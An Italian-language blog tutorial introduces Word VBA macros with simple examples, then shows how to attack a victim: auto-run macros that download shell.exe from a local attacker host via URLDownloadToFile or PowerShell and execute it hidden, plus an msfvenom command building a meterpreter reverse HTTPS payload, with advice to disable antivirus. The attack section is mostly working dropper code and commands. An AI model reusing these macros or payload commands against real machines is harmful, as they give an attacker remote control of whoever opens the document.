In un vecchio articolo mi sono occupato di analizzare una macro malevola al fine di identificare le funzionalità e i danni che avrebbe potuto causare al sistema. Oggi (e nei prossimi articoli probabilmente), ci occuperemo di capire come funzionano le Macro, come sviluppare in Visual Basic for Application e successivamente exploitare tramite le macro un computer windows. Ma andiamo con ordine.
Secondo Wikipedia, Visual Basic for Applications (VBA) è un’implementazione di Visual Basic inserita all’interno di applicazioni Microsoft, è un linguaggio di programmazione ad alto livello composto da oggetti che possono essere:
Solitamente le macro in Office vengono usate per:
ma come ben sappiamo, sono anche utilizzate per sfruttare la debolezza dell’essere umano e portare attacchi di vario tipo.
In questo articolo tralascerò le applicazioni delle Macro ai fini dell’utilizzo di Word (salvataggio file, particolari operazioni) che potete trovare un’ottima guida sul sito di Microsoft ma, dopo una breve infarinatura, vedremo come attaccare una vittima creando una reverse shell per poter accedere al suo dispositivo.
Una volta aperto Word, basterà cliccare su Visualizza -> Macro -> Visualizza Macro per creare la nostra prima macro.
Inserito il nome della macro, andiamo a scrivere:
Sub HelloWordl()
MsgBox "Hello World!"
End Sub
E premendo F5 (o il bottone esegui in alto) avremo il nostro messaggio.
L’if è come una normale condizione in altri linguaggi di programmazione. In questo caso ho inserito anche un’altra subroutine per introdurle direttamente.
Sub Condizionale()
Dim NumeroA As Long
Dim NumeroB As Long
Prompt_1 = "Inserisci il primo numero"
Prompt_2 = "Inserisci il secondo numero"
Title = "A < B ?"
NumeroA = InputBox(Prompt_1, Title)
NumeroB = InputBox(Prompt_2, Title)
massimo NumeroA, NumeroB
End Sub
Sub massimo(A As Long, B As Long)
If A < B Then
MsgBox (True)
Else
MsgBox (False)
End If
End Sub
In questo caso verifichiamo se un numero è maggiore di un altro in base all’input dell’utente:
Come per il condizionale, i cicli sono molto semplici.
Per quanto riguarda il for:
Sub macro_for()
For counter = 1 To 3
MsgBox (Alert)
Next counter
End Sub
Invece per il while
Sub macro_while()
Dim Counter
Counter = 0
While Counter < 20
Counter = Counter + 1
MsgBox (Counter)
Wend
End Sub
Se volessimo eseguire un programma appena il documento Word viene aperto, è possibile farlo con il comando Shell
Sub Document_Open()
macro
End Sub
Sub AutoExec()
macro
End Sub
Sub macro()
Dim RetVal
RetVal = Shell("C:\WINDOWS\SYSTEM32\CALC.EXE", 1)
End Sub
In questo modo appena apriremo il documento, la Macro verrà eseguita (dopo aver disabilitato il warning sulle macro disabilitate di default)
In un modo molto simile possiamo eseguire anche il terminale
Sub Document_Open()
macro
End Sub
Sub AutoExec()
macro
End Sub
Sub macro()
Dim str As String
str = "cmd.exe"
Shell str
End Sub
Come abbiamo visto possiamo eseguire comandi appena viene aperto un documento, quindi come creiamo una reverse shell?
Ci sono diversi modi, vediamone un paio.
Ricordo di disattivare l’antivirus, altrimenti la reverse shell verrà cancellata
Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub macro()
DownloadFile = "shell.exe"
URL = "http://192.168.1.55:8080/" & DownloadFile
LocalFilename = ActiveDocument.Path & "\" & DownloadFile
cmd = URLDownloadToFile(0, URL, LocalFilename, 0, 0) = 0
Shell LocalFilename, vbHide
End Sub
In questo caso abbiamo:
Sulla kali ho invece creato una reverse shell con msfvenom, eseguito un server con python sulla porta 8080 per permettere il download del file e con metasploit eseguito un handler per eseguire la reverse shell
kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.55 LPORT=4443 -f exe -o shell.exe
Invece con questo comando ho utilizzato Powershell, che con una singola macro mi ha permesso di scaricare il file e successivamente eseguirlo tramite Shell
Sub macro()
Dim str As String
str = "Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.55:8080/shell.exe', 'shell.exe')"
Shell str
Dim exePath As String
exePath = ActiveDocument.Path + "\shell.exe"
Shell exePath, vbHide
End Sub
Questo articolo voleva essere solamente una breve introduzione, nei prossimi andremo ad indagare altri modi per creare reverse shell tramite Word, Powershell e le Macro. Per approfondimenti su VBA, Macro e sicurezza consiglio: